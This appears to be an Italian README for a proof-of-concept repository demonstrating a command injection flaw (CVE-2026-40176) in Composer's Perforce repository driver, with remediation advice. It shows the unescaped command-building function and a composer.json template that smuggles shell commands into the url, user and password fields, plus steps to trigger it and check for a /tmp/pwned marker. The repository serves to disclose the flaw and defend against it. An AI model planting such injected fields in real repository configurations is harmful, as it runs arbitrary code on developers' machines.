
Proof-of-concept che dimostra l'iniezione di comandi nel driver Perforce di Composer (CVE-2026-40176), consentendo l'esecuzione remota di codice tramite una configurazione di repository appositamente predisposta.
Vulnerabilità di Iniezione di Comandi nel driver del repository Perforce di Composer che consente l'Esecuzione Remota di Codice (RCE) tramite una validazione insufficiente dell'input nell'elaborazione dell'URL del repository.
| Proprietà | Valore |
|---|---|
| ID CVE | CVE-2026-40176 |
| Versioni Interessate | Composer < 2.2.27 |
| Tipo di Vulnerabilità | Iniezione di Comandi |
| Vettore di Attacco | Configurazione di repository dannosa |
| Impatto | Esecuzione di codice arbitrario |
| Punteggio CVSS | Alto/Critico |
La vulnerabilità esiste nel modo in cui Composer elabora i repository quando il tipo è perforce. Il parametro non viene adeguatamente sanificato prima di essere passato ai comandi di shell, consentendo agli aggressori di iniettare comandi di sistema arbitrari.
public function generateP4Command($command, $useClient = true)
{
$p4Command = 'p4 ';
$p4Command .= '-u ' . $this->getUser() . ' ';
if ($useClient)
$p4Command .= '-c ' . $this->getClient() . ' ';
}
$p4Command .= '-p ' . $this->getPort() . ' ' . $command;
return $p4Command;
}
Tutto ciò non veniva escapato correttamente, consentendo a un aggressore di iniettare comandi creando un payload dannoso per tutti i campi con il tipo perforce.
Schema di Codice Vulnerabile:
{
"repositories": [
{
"type": "perforce",
"url": "PERFORCE_URL; INJECTED_COMMAND #",
"depot": "depot",
"p4user": "user; INJECRTED_COMMAND #",
"p4password": "password; INJECTED_COMMAND #",
}
]
}
Questo repository contiene una prova di concetto funzionante che dimostra la vulnerabilità.
CVE-2026-40176/
├── composer.json # Configurazione del repository Perforce dannoso
├── vuln-composer.phar # Composer 2.2.26 (VULNERABILE)
├── patched-composer.phar # Composer 2.2.27 (CORRETTO)
└── README.md # Questo file
git clone <repository-url>
cd CVE-2026-40176
php vuln-composer.phar --version
# Output: Composer version 2.2.26
php patched-composer.phar --version
# Output: Composer version 2.2.27
php vuln-composer.phar install
# OPPURE
php vuln-composer.phar update
ls -la /tmp/pwned
rm -f /tmp/pwned
php patched-composer.phar update
ls -la /tmp/pwned
# Il file NON dovrebbe esistere (la vulnerabilità è stata corretta)
Aggiornare Composer alla versione 2.2.27 o successiva:
composer self-update --2.2.27
# OPPURE
wget https://getcomposer.org/download/2.2.27/composer.phar
Esaminare tutti i file composer.json per configurazioni di repository sconosciute o sospette
Verificare la supply chain - Controllare se alcune dipendenze fanno riferimento a repository non attendibili
# Controllare la versione di Composer
composer --version
# Cercare repository Perforce nei propri progetti
grep -r "perforce" */composer.json